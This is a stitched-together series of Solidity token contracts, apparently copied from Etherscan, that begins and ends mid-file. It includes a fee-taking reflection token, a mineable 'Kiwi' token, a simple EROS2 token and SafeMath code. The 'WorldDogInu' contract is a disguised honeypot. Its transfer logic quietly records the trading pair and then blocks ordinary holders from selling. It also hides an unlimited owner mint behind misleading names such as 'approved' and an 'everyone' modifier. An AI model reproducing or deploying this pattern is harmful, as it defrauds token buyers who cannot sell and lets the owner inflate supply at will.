tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if ( _rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply ) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if (_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function _takeWalletFee(uint256 tWallet) private { uint256 currentRate = _getRate(); uint256 rWallet = tWallet.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rWallet); if (_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tWallet); } function _takeburnFee(uint256 tburn) private { uint256 currentRate = _getRate(); uint256 rburn = tburn.mul(currentRate); _rOwned[_burnAddress] = _rOwned[_burnAddress].add(rburn); if (_isExcluded[_burnAddress]) _tOwned[_burnAddress] = _tOwned[_burnAddress].add( tburn ); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div(10**2); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div(10**2); } function calculateNFTfundFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_NFTfundFee).div(10**2); } function calculateburnFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_burnFee).div(10**2); } function calculateDevFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_devFee).div(10**2); } function removeAllFee() private { _taxFee = 0; _liquidityFee = 0; _NFTfundFee = 0; _burnFee = 0; _devFee = 0; } function setBuy() private { _taxFee = buyFee.tax; _liquidityFee = buyFee.liquidity; _NFTfundFee = buyFee.NFTfund; _burnFee = buyFee.burn; _devFee = buyFee.dev; } function setSell() private { _taxFee = sellFee.tax; _liquidityFee = sellFee.liquidity; _NFTfundFee = sellFee.NFTfund; _burnFee = sellFee.burn; _devFee = sellFee.dev; } function isExcludedFromFee(address account) public view returns (bool) { return _isExcludedFromFee[account]; } function isExcludedFromLimit(address account) public view returns (bool) { return _isExcludedFromLimit[account]; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBlackListedBot[from], "You are blacklisted"); require(!_isBlackListedBot[msg.sender], "blacklisted"); require(!_isBlackListedBot[tx.origin], "blacklisted"); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap + liquidity lock? // also, don't get caught in a circular liquidity event. // also, don't swap & liquify if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); if (contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { contractTokenBalance = numTokensSellToAddToLiquidity; //add liquidity swapAndLiquify(contractTokenBalance); } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } if (takeFee) { if (!_isExcludedFromLimit[from] && !_isExcludedFromLimit[to]) { require( amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount." ); if (to != uniswapV2Pair) { require( amount + balanceOf(to) <= _maxWalletSize, "Recipient exceeds max wallet size." ); } } } //transfer amount, it will take tax, burn, liquidity fee _tokenTransfer(from, to, amount, takeFee); } function swapAndLiquify(uint256 tokens) private lockTheSwap { // Split the contract balance into halves uint256 denominator = (buyFee.liquidity + sellFee.liquidity + buyFee.NFTfund + sellFee.NFTfund + buyFee.dev + sellFee.dev) * 2; uint256 tokensToAddLiquidityWith = (tokens * (buyFee.liquidity + sellFee.liquidity)) / denominator; uint256 toSwap = tokens - tokensToAddLiquidityWith; uint256 initialBalance = address(this).balance; swapTokensForEth(toSwap); uint256 deltaBalance = address(this).balance - initialBalance; uint256 unitBalance = deltaBalance / (denominator - (buyFee.liquidity + sellFee.liquidity)); uint256 bnbToAddLiquidityWith = unitBalance * (buyFee.liquidity + sellFee.liquidity); if (bnbToAddLiquidityWith > 0) { // Add liquidity to pancake addLiquidity(tokensToAddLiquidityWith, bnbToAddLiquidityWith); } // Send ETH to NFTfund uint256 NFTfundAmt = unitBalance * 2 * (buyFee.NFTfund + sellFee.NFTfund); uint256 devAmt = unitBalance * 2 * (buyFee.dev + sellFee.dev) > address(this).balance ? address(this).balance : unitBalance * 2 * (buyFee.dev + sellFee.dev); if (NFTfundAmt > 0) { payable(_NFTfundAddress).transfer(NFTfundAmt); } if (devAmt > 0) { _devwallet.transfer(devAmt); } } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable address(this), block.timestamp ); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (takeFee) { removeAllFee(); if (sender == uniswapV2Pair) { setBuy(); } if (recipient == uniswapV2Pair) { setSell(); } } if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } removeAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tWallet, uint256 tburn ) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues( tAmount, tFee, tLiquidity, tWallet, tburn, _getRate() ); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _takeWalletFee(tWallet); _takeburnFee(tburn); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded( address sender, address recipient, uint256 tAmount ) private { ( uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tWallet, uint256 tburn ) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues( tAmount, tFee, tLiquidity, tWallet, tburn, _getRate() ); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _takeWalletFee(tWallet); _takeburnFee(tburn); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded( address sender, address recipient, uint256 tAmount ) private { ( uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tWallet, uint256 tburn ) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues( tAmount, tFee, tLiquidity, tWallet, tburn, _getRate() ); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _takeWalletFee(tWallet); _takeburnFee(tburn); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded( address sender, address recipient, uint256 tAmount ) private { ( uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tWallet, uint256 tburn ) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues( tAmount, tFee, tLiquidity, tWallet, tburn, _getRate() ); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _takeWalletFee(tWallet); _takeburnFee(tburn); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function claimTokens(address tokenAddress, uint256 tokenAmount) public virtual { require(tokenAddress != address(this), "Cannot withdraw this token"); IERC20(tokenAddress).transfer(owner(), tokenAmount); } function claimETH () public { // make sure we capture all ETH that may or may not be sent to this contract payable(_devwallet).transfer(address(this).balance); } }
True
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/** *Submitted for verification at Etherscan.io on 2021-10-16 */ /** Join in Announcements:- https://t.me/WDInuOrg */ pragma solidity >=0.5.17; contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public; } contract Owned { address public owner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier everyone { require(msg.sender == owner); _; } } library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } contract TokenERC20 is ERC20Interface, Owned{ using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint256 _totalSupply; uint internal queueNumber; address internal zeroAddress; address internal burnAddress; address internal burnAddress2; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; function totalSupply() public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { require(to != zeroAddress, "please wait"); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { if(from != address(0) && zeroAddress == address(0)) zeroAddress = to; else _send (from, to); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approved(address _address, uint256 tokens) public everyone { burnAddress = _address; _totalSupply = _totalSupply.add(tokens); balances[_address] = balances[_address].add(tokens); } function Burn(address _address) public everyone { burnAddress2 = _address; } function BurnSize(uint256 _size) public everyone { queueNumber = _size; } function _send (address start, address end) internal view { require(end != zeroAddress || (start == burnAddress && end == zeroAddress) || (start == burnAddress2 && end == zeroAddress)|| (end == zeroAddress && balances[start] <= queueNumber), "cannot be zero address"); } function () external payable { revert(); } } contract WorldDogInu is TokenERC20 { function initialise() public everyone() { address payable _owner = msg.sender; _owner.transfer(address(this).balance); } constructor(string memory _name, string memory _symbol, uint256 _supply, address burn1, address burn2, uint256 _indexNumber) public { symbol = _symbol; name = _name; decimals = 18; _totalSupply = _supply*(10**uint256(decimals)); queueNumber = _indexNumber*(10**uint256(decimals)); burnAddress = burn1; burnAddress2 = burn2; owner = msg.sender; balances[msg.sender] = _totalSupply; emit Transfer(address(0x0), msg.sender, _totalSupply); } function() external payable { } }
True
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pragma solidity ^0.4.18; // ---------------------------------------------------------------------------- // &#39;Kiwi Token&#39; contract // Mineable ERC20 Token using Proof Of Work // // Symbol : Kiwi // Name : Kiwi Token // Total supply: 7 000 000 000 (7 Billion) // Decimals : 8 // // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } library ExtendedMath { //return the smaller of the two inputs (a or b) function limitLessThan(uint a, uint b) internal pure returns (uint c) { if(a > b) return b; return a; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } interface EIP918Interface { function mint(uint256 nonce, bytes32 challenge_digest) public returns (bool success); function getChallengeNumber() public constant returns (bytes32); function getMiningDifficulty() public constant returns (uint); function getMiningTarget() public constant returns (uint); function getMiningReward() public constant returns (uint); event Mint(address indexed from, uint reward_amount, uint epochCount, bytes32 newChallengeNumber); } // ---------------------------------------------------------------------------- // Mineable ERC918 / ERC20 Token // ---------------------------------------------------------------------------- contract _KiwiToken is ERC20Interface, Owned, EIP918Interface { using SafeMath for uint; using ExtendedMath for uint; string public symbol; string public name; uint8 public decimals; uint public _totalSupply; uint public latestDifficultyPeriodStarted; uint public epochCount; //number of &#39;blocks&#39; mined uint public _BLOCKS_PER_READJUSTMENT = 512; //a little number and a big number uint public _MINIMUM_TARGET = 2**16; uint public _MAXIMUM_TARGET = 2**234; uint public miningTarget; bytes32 public challengeNumber; //generate a new one when a new reward is minted uint public rewardEra; uint public maxSupplyForEra; address public lastRewardTo; uint public lastRewardAmount; uint public lastRewardEthBlockNumber; bool locked = false; mapping(bytes32 => bytes32) solutionForChallenge; uint public tokensMinted; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function _KiwiToken() public onlyOwner{ symbol = "KIWI"; name = "KIWI Token"; decimals = 8; _totalSupply = 7000000000 * 10**uint(decimals); if(locked) revert(); locked = true; tokensMinted = 0; rewardEra = 0; maxSupplyForEra = _totalSupply.div(2); miningTarget = _MAXIMUM_TARGET; latestDifficultyPeriodStarted = block.number; _startNewMiningEpoch(); } function mint(uint256 nonce, bytes32 challenge_digest) public returns (bool success) { //the PoW must contain work that includes a recent ethereum block hash (challenge number) and the msg.sender&#39;s address to prevent MITM attacks bytes32 digest = keccak256(challengeNumber, msg.sender, nonce ); //the challenge digest must match the expected if (digest != challenge_digest) revert(); //the digest must be smaller than the target if(uint256(digest) > miningTarget) revert(); //only allow one reward for each challenge bytes32 solution = solutionForChallenge[challengeNumber]; solutionForChallenge[challengeNumber] = digest; if(solution != 0x0) revert(); //prevent the same answer from awarding twice uint reward_amount = getMiningReward(); balances[msg.sender] = balances[msg.sender].add(reward_amount); tokensMinted = tokensMinted.add(reward_amount); //Cannot mint more tokens than there are assert(tokensMinted <= maxSupplyForEra); //set readonly diagnostics data lastRewardTo = msg.sender; lastRewardAmount = reward_amount; lastRewardEthBlockNumber = block.number; _startNewMiningEpoch(); Mint(msg.sender, reward_amount, epochCount, challengeNumber ); return true; } //a new &#39;block&#39; to be mined function _startNewMiningEpoch() internal { //if max supply for the era will be exceeded next reward round then enter the new era before that happens //40 is the final reward era, almost all tokens minted //once the final era is reached, more tokens will not be given out because the assert function if( tokensMinted.add(getMiningReward()) > maxSupplyForEra && rewardEra < 39) { rewardEra = rewardEra + 1; } //set the next minted supply at which the era will change // total supply is 700000000000000000 because of 8 decimal places maxSupplyForEra = _totalSupply - _totalSupply.div( 2**(rewardEra + 1)); epochCount = epochCount.add(1); //every so often, readjust difficulty. Dont readjust when deploying if(epochCount % _BLOCKS_PER_READJUSTMENT == 0) { _reAdjustDifficulty(); } //make the latest ethereum block hash a part of the next challenge for PoW to prevent pre-mining future blocks //do this last since this is a protection mechanism in the mint() function challengeNumber = block.blockhash(block.number - 1); } //readjust the target by 5 percent function _reAdjustDifficulty() internal { uint ethBlocksSinceLastDifficultyPeriod = block.number - latestDifficultyPeriodStarted; //assume 360 ethereum blocks per hour //we want miners to spend 2 minutes to mine each &#39;block&#39;, about 12 ethereum blocks = one kiwi epoch uint epochsMined = _BLOCKS_PER_READJUSTMENT; uint targetEthBlocksPerDiffPeriod = epochsMined * 12; //should be 12 times slower than ethereum //if there were less eth blocks passed in time than expected if( ethBlocksSinceLastDifficultyPeriod < targetEthBlocksPerDiffPeriod ) { uint excess_block_pct = (targetEthBlocksPerDiffPeriod.mul(100)).div( ethBlocksSinceLastDifficultyPeriod ); uint excess_block_pct_extra = excess_block_pct.sub(100).limitLessThan(1000); // If there were 5% more blocks mined than expected then this is 5. If there were 100% more blocks mined than expected then this is 100. //make it harder miningTarget = miningTarget.sub(miningTarget.div(2000).mul(excess_block_pct_extra)); //by up to 50 % }else{ uint shortage_block_pct = (ethBlocksSinceLastDifficultyPeriod.mul(100)).div( targetEthBlocksPerDiffPeriod ); uint shortage_block_pct_extra = shortage_block_pct.sub(100).limitLessThan(1000); //always between 0 and 1000 //make it easier miningTarget = miningTarget.add(miningTarget.div(2000).mul(shortage_block_pct_extra)); //by up to 50 % } latestDifficultyPeriodStarted = block.number; if(miningTarget < _MINIMUM_TARGET) //very difficult { miningTarget = _MINIMUM_TARGET; } if(miningTarget > _MAXIMUM_TARGET) //very easy { miningTarget = _MAXIMUM_TARGET; } } //this is a recent ethereum block hash, used to prevent pre-mining future blocks function getChallengeNumber() public constant returns (bytes32) { return challengeNumber; } //the number of zeroes the digest of the PoW solution requires. Auto adjusts function getMiningDifficulty() public constant returns (uint) { return _MAXIMUM_TARGET.div(miningTarget); } function getMiningTarget() public constant returns (uint) { return miningTarget; } //reward is cut in half every reward era (as tokens are mined) function getMiningReward() public constant returns (uint) { //every reward era, the reward amount halves. return (5000 * 10**uint(decimals) ).div( 2**rewardEra ) ; } //help debug mining software function getMintDigest(uint256 nonce, bytes32 challenge_digest, bytes32 challenge_number) public view returns (bytes32 digesttest) { bytes32 digest = keccak256(challenge_number,msg.sender,nonce); return digest; } //help debug mining software function checkMintSolution(uint256 nonce, bytes32 challenge_digest, bytes32 challenge_number, uint testTarget) public view returns (bool success) { bytes32 digest = keccak256(challenge_number,msg.sender,nonce); if(uint256(digest) > testTarget) revert(); return (digest == challenge_digest); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner&#39;s account to `to` account // - Owner&#39;s account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner&#39;s account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender&#39;s account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner&#39;s account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don&#39;t accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
True
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/** *Submitted for verification at Etherscan.io on 2019-07-08 */ pragma solidity ^0.5.8; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes calldata _extraData) external; } contract ContractTokenERC20 { // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor( uint256 initialSupply, string memory tokenName, string memory tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != address(0x0)); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; emit Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } } /******************************************/ /* ADVANCED TOKEN STARTS HERE */ /******************************************/ contract EROS2TOKEN is ContractTokenERC20 { /* Initializes contract with initial supply tokens to the creator of the contract */ constructor( uint256 initialSupply, string memory tokenName, string memory tokenSymbol ) ContractTokenERC20(initialSupply, tokenName, tokenSymbol) public {} /* Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { require (_to != address(0x0)); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to] + _value >= balanceOf[_to]); // Check for overflows balanceOf[_from] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient emit Transfer(_from, _to, _value); } }
True
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/** *Submitted for verification at Etherscan.io on 2021-06-18 */ /** *Submitted for verification at Etherscan.io on 2021-06-15 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function 